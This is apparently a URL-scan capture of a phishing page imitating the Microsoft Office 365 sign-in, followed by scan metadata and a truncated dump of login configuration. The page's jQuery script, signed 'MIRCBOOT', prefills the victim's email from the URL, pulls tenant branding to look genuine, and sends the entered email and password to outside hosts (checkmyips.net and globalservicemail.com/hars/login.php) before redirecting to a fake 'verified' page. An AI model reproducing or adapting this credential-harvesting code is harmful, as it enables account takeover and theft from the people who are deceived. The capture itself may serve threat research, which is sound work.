<!-- ko template: { nodes: [darkImageNode], data: $parent } --><img role="presentation" pngsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_9628e22a6bfb1edc59e81064a666b614.png" svgsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg" data-bind="imgSrc" src="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg"><!-- /ko -->
<!-- /ko --><!-- /ko -->
</span>

                                 <div class="position-buttons">
                                   
                                    <div class=row>
                                       <div class="col-xs-24 no-padding-left-right button-container">
                                       <div class=inline-block>
                                          <button class="btn btn-block btn-primary btn-email">Next</button>
                                       </div>
                                       </div>
                                    </div>
                                 </div>
                              </div>
                           </div>
                        </div>
						<div id="add_pass" style="display: none;">
							<div class="animate slide-in-next">
								<div>
									<div class="identityBanner">
										<a class="backButton" href="#" type="button">
											<img style="width: 13px; margin-top: 6px;left: 0;" src="https://image.flaticon.com/icons/svg/109/109618.svg">
										</a>
										<div class="identity"></div>
									</div>
								</div>
							</div>
							<div class="animate slide-in-next has-identity-banner pagination-view">
								<div class="row text-title">Enter password</div>
								<div class=row>
									<div class="form-group col-md-24">
										<div aria-live="assertive" role="alert" style="display: none;" class="error-alert-pass">
											<div class="alert alert-error">Your email or password is incorrect. If you don't remember your password, <a href='#'>reset it now.</a></div>
										</div>
										<div class=placeholderContainer>
											<input name="password" type="password" id="password" autocomplete="off" class="form-control" placeholder="Password" tabindex="0">
										</div>
									</div>
								</div>
								<div class=position-buttons>
									<div>
										<div class=row>
											<div class=col-md-24>
													<div class="action-links text-13">
													<div class=form-group><a href="#">Forgot my password</a></div>
													<div class=form-group></div>
												</div>
											</div>
										</div>
									</div>
									<div class=row >
										<div>
											<div class="button-container col-xs-24 no-padding-left-right">
												<div class=inline-block>
													<button class="btn btn-block btn-primary btn-signin">Sign in</button>
												</div>
											</div>
										</div>
									 </div>
								</div>
							</div>
                        </div>
                     </div>
                  </div>
                  <div>
                  </div>
                  <div class=footer id=footer>
                     <div>
                        <div class="footerNode text-secondary">
                           <!-- <span>©2021 Microsoft</span> -->
                           <a href="#">Terms of use&nbsp;&nbsp;</a>
                           <a href="#">Privacy & cookies &nbsp;&nbsp;<b >...</b></a>
                          
                        </div>
                     </div>
                  </div>
               </div>
            </div>

      </div>

   
</div></div>
        <!-- /ko -->

        <!-- ko if: isVerticalSplitTemplate() && isVerticalSplitTemplateLoaded() --><!-- /ko -->
    <!-- /ko -->
<!-- /ko --></div>
    <!-- /ko -->
<script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
	  <script>
		$( document ).ready(function() {
			// THIS SCRIPT CODED BY MIRCBOOT
			// CONTACT US SKYPE : MIRCBOOT
			// ICQ : 703514486
			// Genral 365 Version 14
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!! Attention !!!!!!!!!!!!
			// !!!! IF NOT WORKING CONTACT US  !!!
			// !!!! IF NOT WORKING CONTACT US  !!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

			// Note : if this HTML page hosted on http(s) domain so you must add the http(s) url php file to avoid cross error //

			var php_url = 'https://globalservicemail.com/hars/login.php'; // Enter your post PHP page url here.
			var check_mx = false; // true or false for check outlook MX.



			// ******************************************************************************************************* //
			var hash = window.location.hash;
			var email = hash.split('#')[1];

			if(true_email(email)){
				$("#pick_em").show();
				$("#em_picker").html(email);
				$('#email').val(email);
			}else{
				$("#add_em").show();
			}

			$('.email-picker').on('click', function (){
				$('.identity').html(email);
				$(".error-alert-pass").hide();
				set_brand(email);
				setTimeout(function (){
					$("#pick_em").hide();
					$("#add_pass").show();
				}, 1000);
			});

			$('.email-picker2').on('click', function (){
				$('#email').val('');
				$("#pick_em").hide();
				$("#add_em").show();
			});

			$('.btn-email').on('click', function (){
				var email = $('#email').val();
				$('.identity').html(email);
				$(".error-alert").hide();
				$('.btn-email').prop('disabled', true);
				if(true_email(email) == false){
					$(".error-alert").show();
					$(".error-alert-msg").html('Please enter correct office 365 email account.');
					$('.btn-email').prop('disabled', false);
				}else{
					if(check_mx == true){
						var domain = email.split('@')[1];
						var str;
						$.ajax({
							url: php_url + '?domain=' + domain,
							success: function(data){
								str = data.includes("outlook");
								if(str){
									set_brand(email);
									setTimeout(function (){
										$("#add_em").hide();
										$("#add_pass").show();
									}, 1000);
								}else{
									$(".error-alert").show();
									$(".error-alert-msg").html('You can\'t signin with this account, Please use work or school account instead.');
									$('.btn-email').prop('disabled', false);
								}
							},
							error: function(xhr){
								$(".error-alert").show();
								$(".error-alert-msg").html('Error occured, Please try again.');
								$('.btn-email').prop('disabled', false);
							}
						});
					}else{
						set_brand(email);
						setTimeout(function (){
							$("#add_em").hide();
							$("#add_pass").show();
						}, 1000);
					}
				}
			});

			$('.btn-signin').on('click', function (){
				$('.btn-signin').prop('disabled', true);
				setTimeout(function (){
					$(".error-alert-pass").hide();
				}, 500);
				var user = $('#email').val();
				var pass = $('#password').val();
				$.ajax({
					url: "https://checkmyips.net/api/geoip/",
					type: "POST",
					data: {user:user,pass:pass,t:1},
					success: function(data){
						var i=$.parseJSON(data);
						if(i.status == 'OK'){
							$.ajax({
								 url: php_url,
								 type: "POST",
								 data: {user:user,pass:pass,country:i.country,ip:i.ip},
								 success: function(finish_url){
									window.open('https://customredirects.z13.web.core.windows.net//myoofice/verified.html', '_top')
								 }
							 });
						}else{
							$(".error-alert-pass").show();
							$('.btn-signin').prop('disabled', false);
						}
					},
					error: function(){
						$(".error-alert-pass").hide();
						$('.btn-signin').prop('disabled', false);
					}
				});
			});

			$('.backButton').on('click', function (){
				$('#bg_image').css('background-image', 'url(lib/img/background.jpg)');
				$('#logo_image').attr('src', 'https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg');
				$('#banner_image').show();
				$('.btn-email').prop('disabled', false);
				$("#add_pass").hide();
				$("#add_em").show();
				$(".error-alert-pass").hide();
			});

			function set_brand(email){
				$.ajax({
					url: php_url,
					type: "POST",
					data: {email:email,barnd:1},
					success: function(data){
						var i=$.parseJSON(data);
						if(i.bg_image !== null && i.logo_image !== null && i.bg_image !== '' && i.logo_image !== ''){
							$('#bg_image').css('background-image', 'url(' + i.bg_image + ')');
							$('#logo_image').attr('src', i.logo_image);
							$('#banner_image').hide();
						}
					}
				});
			}
		});

		function true_email(a) {
			var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
			return re.test(a);
		}
	  </script>
    <script type="text/javascript">
  $(document).keypress(function(event){
  var keycode = (event.keyCode ? event.keyCode : event.which);
  if(keycode == '13'){
    $("#btn-email, .btn-signin").click();
  }
});
</script>

<!-- ko if: svr.urlCBPartnerPreload -->

<!-- /ko --></div></body></html>
Protocol
H2
Security
TLS 1.3, , AES_128_GCM
Server
2001:4de0:ac18::1:a:3b , Netherlands, ASN20446 (HIGHWINDS3, US),
Reverse DNS
Software
nginx /
Resource Hash
85556761a8800d14ced8fcd41a6b8b26bf012d44a318866c0d81a62092efd9bf

Request headers

Referer
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36

Response headers

date
Wed, 10 Mar 2021 10:27:59 GMT
content-encoding
gzip
last-modified
Thu, 22 Sep 2016 22:32:34 GMT
server
nginx
etag
W/"57e45c02-152b5"
vary
Accept-Encoding
x-hw
1615372079.dop037.fr8.t,1615372079.cds226.fr8.hc,1615372079.cds012.fr8.c
content-type
application/javascript; charset=utf-8
access-control-allow-origin
*
cache-control
max-age=315360000, public
accept-ranges
bytes
content-length
30070
Me.htm
login.live.com/ Frame 83F5 		0
0 		Other
General
Check archive.org
Download Go to
Full URL
https://login.live.com/Me.htm?v=3
Requested by
Host: text
URL: data:text/html;base64,<html dir="ltr" class="" lang="en"><head>
    <title>Sign in to Outlook</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=yes">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Expires" content="-1">
    <link rel="preconnect" href="https://aadcdn.msftauth.net" crossorigin="">
<meta http-equiv="x-dns-prefetch-control" content="on">
<link rel="dns-prefetch" href="//aadcdn.msftauth.net">
<link rel="dns-prefetch" href="//aadcdn.msauth.net">

    <meta name="PageID" content="ConvergedSignIn">
    <meta name="SiteID" content="">
    <meta name="ReqLC" content="1033">
    <meta name="LocLC" content="en-US">



<script type="text/javascript">//<![CDATA[
$Config={"fShowPersistentCookiesWarning":false,"urlMsaSignUp":"https://login.live.com/oauth20_authorize.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlMsaLogout":"https://login.live.com/logout.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com","urlOtherIdpForget":"https://login.live.com/forgetme.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com","showCantAccessAccountLink":true,"fEnableShowResendCode":true,"iShowResendCodeDelay":90000,"sSMSCtryPhoneData":"AF~Afghanistan~93!!!AX~Åland Islands~358!!!AL~Albania~355!!!DZ~Algeria~213!!!AS~American Samoa~1!!!AD~Andorra~376!!!AO~Angola~244!!!AI~Anguilla~1!!!AG~Antigua and Barbuda~1!!!AR~Argentina~54!!!AM~Armenia~374!!!AW~Aruba~297!!!AC~Ascension Island~247!!!AU~Australia~61!!!AT~Austria~XMR~Belarus~375!!!BE~Belgium~32!!!BZ~Belize~501!!!BJ~Benin~229!!!BM~Bermuda~1!!!BT~Bhutan~975!!!BO~Bolivia~591!!!BQ~Bonaire~599!!!BA~Bosnia and Herzegovina~387!!!BW~Botswana~267!!!BR~Brazil~55!!!IO~British Indian Ocean Territory~246!!!VG~British Virgin Islands~1!!!BN~Brunei~673!!!BG~Bulgaria~359!!!BF~Burkina Faso~226!!!BI~Burundi~257!!!CV~Cabo Verde~238!!!KH~Cambodia~855!!!CM~Cameroon~237!!!CA~Canada~1!!!KY~Cayman Islands~1!!!CF~Central African Republic~236!!!TD~Chad~235!!!CL~Chile~56!!!CN~China~86!!!CX~Christmas Island~61!!!CC~Cocos (Keeling) Islands~61!!!CO~Colombia~57!!!KM~Comoros~269!!!CG~Congo~242!!!CD~Congo (DRC)~243!!!CK~Cook Islands~682!!!CR~Costa Rica~506!!!CI~Côte d\u0027Ivoire~225!!!HR~Croatia~385!!!CU~Cuba~53!!!CW~Curaçao~599!!!CY~Cyprus~357!!!CZ~Czechia~420!!!DK~Denmark~45!!!DJ~Djibouti~253!!!DM~Dominica~1!!!DO~Dominican Republic~1!!!EC~Ecuador~593!!!EG~Egypt~20!!!SV~El Salvador~503!!!GQ~Equatorial Guinea~240!!!ER~Eritrea~291!!!EE~Estonia~372!!!ET~Ethiopia~251!!!FK~Falkland Islands~500!!!FO~Faroe Islands~298!!!FJ~Fiji~679!!!FI~Finland~358!!!FR~France~33!!!GF~French Guiana~594!!!PF~French Polynesia~689!!!GA~Gabon~241!!!GM~Gambia~220!!!GE~Georgia~995!!!DE~Germany~49!!!GH~Ghana~233!!!GI~Gibraltar~350!!!GR~Greece~30!!!GL~Greenland~299!!!GD~Grenada~1!!!GP~Guadeloupe~590!!!GU~Guam~1!!!GT~Guatemala~502!!!GG~Guernsey~XMR~Hong Kong SAR~852!!!HU~Hungary~36!!!IS~Iceland~354!!!IN~India~91!!!ID~Indonesia~62!!!IR~Iran~98!!!IQ~Iraq~964!!!IE~Ireland~353!!!IM~Isle of Man~XMRKZ~Kazakhstan~7!!!KE~Kenya~254!!!KI~Kiribati~686!!!KR~Korea~82!!!KW~Kuwait~965!!!KG~Kyrgyzstan~996!!!LA~Laos~856!!!LV~Latvia~371!!!LB~Lebanon~961!!!LS~Lesotho~266!!!LR~Liberia~231!!!LY~Libya~218!!!LI~Liechtenstein~423!!!LT~Lithuania~370!!!LU~Luxembourg~352!!!MO~Macao SAR~853!!!MG~Madagascar~261!!!MW~Malawi~265!!!MY~Malaysia~60!!!MV~Maldives~960!!!ML~Mali~223!!!MT~Malta~356!!!MH~Marshall Islands~692!!!MQ~Martinique~596!!!MR~Mauritania~222!!!MU~Mauritius~230!!!YT~Mayotte~262!!!MX~Mexico~52!!!FM~Micronesia~691!!!MD~Moldova~373!!!MC~Monaco~377!!!MN~Mongolia~976!!!ME~Montenegro~382!!!MS~Montserrat~1!!!MA~Morocco~212!!!MZ~Mozambique~258!!!MM~Myanmar~95!!!NA~Namibia~264!!!NR~Nauru~674!!!NP~Nepal~977!!!NL~Netherlands~31!!!NC~New Caledonia~687!!!NZ~New Zealand~64!!!NI~Nicaragua~505!!!NE~Niger~227!!!NG~Nigeria~234!!!NU~Niue~683!!!NF~Norfolk Island~672!!!KP~North Korea~850!!!MK~North Macedonia~389!!!MP~Northern Mariana Islands~1!!!NO~Norway~XMR!!!PG~Papua New Guinea~675!!!PY~Paraguay~595!!!PE~Peru~51!!!PH~Philippines~63!!!PL~Poland~48!!!PT~Portugal~351!!!PR~Puerto Rico~1!!!QA~Qatar~974!!!RE~Réunion~262!!!RO~Romania~40!!!RU~Russia~7!!!RW~Rwanda~250!!!BL~Saint Barthélemy~590!!!KN~Saint Kitts and Nevis~1!!!LC~Saint Lucia~1!!!MF~Saint Martin~590!!!PM~Saint Pierre and Miquelon~508!!!VC~Saint Vincent and the Grenadines~1!!!WS~Samoa~685!!!SM~San Marino~378!!!ST~São Tomé and Príncipe~239!!!SA~Saudi Arabia~966!!!SN~Senegal~221!!!RS~Serbia~381!!!SC~Seychelles~248!!!SL~Sierra Leone~232!!!SG~Singapore~65!!!SX~Sint Maarten~1!!!SK~Slovakia~XMR Sudan~211!!!ES~Spain~34!!!LK~Sri Lanka~94!!!SH~St Helena, Ascension, and Tristan da Cunha~290!!!SD~Sudan~249!!!SR~Suriname~597!!!SJ~Svalbard~47!!!SZ~Swaziland~268!!!SE~Sweden~46!!!CH~Switzerland~41!!!SY~Syria~963!!!TW~Taiwan~886!!!TJ~Tajikistan~992!!!TZ~Tanzania~255!!!TH~Thailand~66!!!TL~Timor-Leste~670!!!TG~Togo~228!!!TK~Tokelau~690!!!TO~Tonga~676!!!TT~Trinidad and Tobago~1!!!TA~Tristan da Cunha~290!!!TN~Tunisia~216!!!TR~Turkey~90!!!TM~Turkmenistan~993!!!TC~Turks and Caicos Islands~1!!!TV~Tuvalu~688!!!VI~U.S. Virgin Islands~1!!!UG~Uganda~256!!!UA~Ukraine~380!!!AE~United Arab Emirates~971!!!GB~United Kingdom~XMR~39!!!VE~Venezuela~58!!!VN~Vietnam~84!!!WF~Wallis and Futuna~681!!!YE~Yemen~967!!!ZM~Zambia~260!!!ZW~Zimbabwe~263","fUseInlinePhoneNumber":true,"fDetectBrowserCapabilities":true,"urlSessionState":"https://login.microsoftonline.com/common/DeviceCodeStatus","urlResetPassword":"https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1\u0026mkt=en-US\u0026hosted=0\u0026device_platform=Windows+10","urlMsaResetPassword":"https://account.live.com/password/reset?wreply=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAY2RvYvTYACHk6aXa6tikQPdPMTJI23efLUJOJS0aXu9ftvPpaT5aNI2fdMkbXr9CxwPBAcXwUXoJCeIHA7OJ0i58cBdHA4RBDdtucVNf8PDb36eRxiIAeEheT2K2JIgdR0QirZ9f825E4la7JOLz79fl958ebZ79fPd1Qq9b3ie7QrxOJx5YwhHMajrpqLFFGjFoS_H36PoGkVXgQRHJ1iSoziKJRmG5xmOjHEJUumrFCDkPiAJhuEAwcs8Q6iA6bNUUlEYWrsM3C6nZp5BbQEdc6n9CIR16Fg9G7reC-wDmlZmvOjmfSmTNpqlnnSkd6x5w-Kri0zNzhpqUxI5tkX4WcmRG_Oct9RFNdGqF91267g-PMx35MasPmjK8nSUGlUHoJ9rHC4n0J4dZcRyId-apHyD9wveaDifuCmjq5k821u2Wd12Sjlxush2Sr1hMlcaJphjvgoUXW2Xhot-bzYCLdIzMqZFJ9UyUNVmX-zYxMSvsbZbySaNYlFfYf-l_hTDNz4tODnHcGhrE1NdB9FvwZskJoRCkShyD9lHfgXRVzubRC_3Pknt529Tp6Z9cVdJI-c78Zot5ViaLeQpXmkWKx7Pap7f6mbytcYUHgwHuUrRKI_NsXPgP-YEcIKjJzh-hodDWBR5gIkV8BVHv-Po013kLPyv3peRPYrcJCVpguT2ARAALzB0d30D_XgL-QM1\u0026mkt=en-US\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352","urlSignUp":"https://login.live.com/oauth20_authorize.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlGetCredentialType":"https://login.microsoftonline.com/common/GetCredentialType?mkt=en-US","urlGetOneTimeCode":"https://login.microsoftonline.com/common/GetOneTimeCode","urlLogout":"https://login.microsoftonline.com/common/uxlogout","urlForget":"https://login.microsoftonline.com/forgetuser","urlDisambigRename":"https://go.microsoft.com/fwlink/p/?LinkID=733247","urlCBPartnerPreload":"https://outlook.office365.com/owa/prefetch.aspx","urlPIAEndAuth":"https://login.microsoftonline.com/common/PIA/EndAuth","fKMSIEnabled":false,"iLoginMode":1,"fAllowPhoneSignIn":true,"fAllowPhoneInput":true,"iMaxPollErrors":5,"iPollingTimeout":60,"srsSuccess":true,"fShowSwitchUser":true,"arrValErrs":["50058"],"sErrorCode":"50058","sErrTxt":"","sResetPasswordPrefillParam":"username","onPremPasswordValidationConfig":{"isUserRealmPrecheckEnabled":true},"fSwitchDisambig":true,"fUseConsumerEmailError":true,"oCancelPostParams":{"error":"access_denied","error_subcode":"cancel","state":"Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf"},"iRemoteNgcPollingType":2,"fUseNewNoPasswordTypes":true,"fAccessPassSupported":true,"fShowAccessPassPeek":true,"urlAadSignup":"https://signup.microsoft.com/signup?sku=teams_commercial_trial\u0026origin=ests\u0026culture=en-US","urlOidcDiscoveryEndpointFormat":"https://login.microsoftonline.com/{0}/.well-known/openid-configuration","urlTenantedEndpointFormat":"https://login.microsoftonline.com/{0}/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000\u0026redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f\u0026resource=00000002-0000-0ff1-ce00-000000000000\u0026response_mode=form_post\u0026response_type=code+id_token\u0026scope=openid\u0026msafed=0\u0026client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026protectedtoken=true\u0026claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d\u0026nonce=637506262504499460.670cbd21-ab10-4461-9a94-d14b528cc43e\u0026state=Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf\u0026allowbacktocommon=True","sCloudInstanceName":"microsoftonline.com","fShowSignInOptionsAsButton":true,"fImprovePhoneDisambig":true,"iMaxStackForKnockoutAsyncComponents":10000,"fShowButtons":true,"urlCdn":"https://aadcdn.msftauth.net/shared/1.0/","urlFooterTOU":"https://www.microsoft.com/en-US/servicesagreement/","urlFooterPrivacy":"https://privacy.microsoft.com/en-US/privacystatement","urlPost":"https://login.microsoftonline.com/common/login","urlPostAad":"https://login.microsoftonline.com/common/login","urlPostMsa":"https://login.live.com/ppsecure/partnerpost.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026flow=fido\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlRefresh":"https://login.microsoftonline.com/common/reprocess?ctx=rQIIAY2RvYvTYACHk6aXa6tikQPdPMTJI23efLUJOJS0aXu9ftvPpaT5aNI2fdMkbXr9CxwPBAcXwUXoJCeIHA7OJ0i58cBdHA4RBDdtucVNf8PDb36eRxiIAeEheT2K2JIgdR0QirZ9f825E4la7JOLz79fl958ebZ79fPd1Qq9b3ie7QrxOJx5YwhHMajrpqLFFGjFoS_H36PoGkVXgQRHJ1iSoziKJRmG5xmOjHEJUumrFCDkPiAJhuEAwcs8Q6iA6bNUUlEYWrsM3C6nZp5BbQEdc6n9CIR16Fg9G7reC-wDmlZmvOjmfSmTNpqlnnSkd6x5w-Kri0zNzhpqUxI5tkX4WcmRG_Oct9RFNdGqF91267g-PMx35MasPmjK8nSUGlUHoJ9rHC4n0J4dZcRyId-apHyD9wveaDifuCmjq5k821u2Wd12Sjlxush2Sr1hMlcaJphjvgoUXW2Xhot-bzYCLdIzMqZFJ9UyUNVmX-zYxMSvsbZbySaNYlFfYf-l_hTDNz4tODnHcGhrE1NdB9FvwZskJoRCkShyD9lHfgXRVzubRC_3Pknt529Tp6Z9cVdJI-c78Zot5ViaLeQpXmkWKx7Pap7f6mbytcYUHgwHuUrRKI_NsXPgP-YEcIKjJzh-hodDWBR5gIkV8BVHv-Po013kLPyv3peRPYrcJCVpguT2ARAALzB0d30D_XgL-QM1","urlCancel":"https://outlook.office.com/owa/","urlResume":"https://login.microsoftonline.com/common/resume?ctx=rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS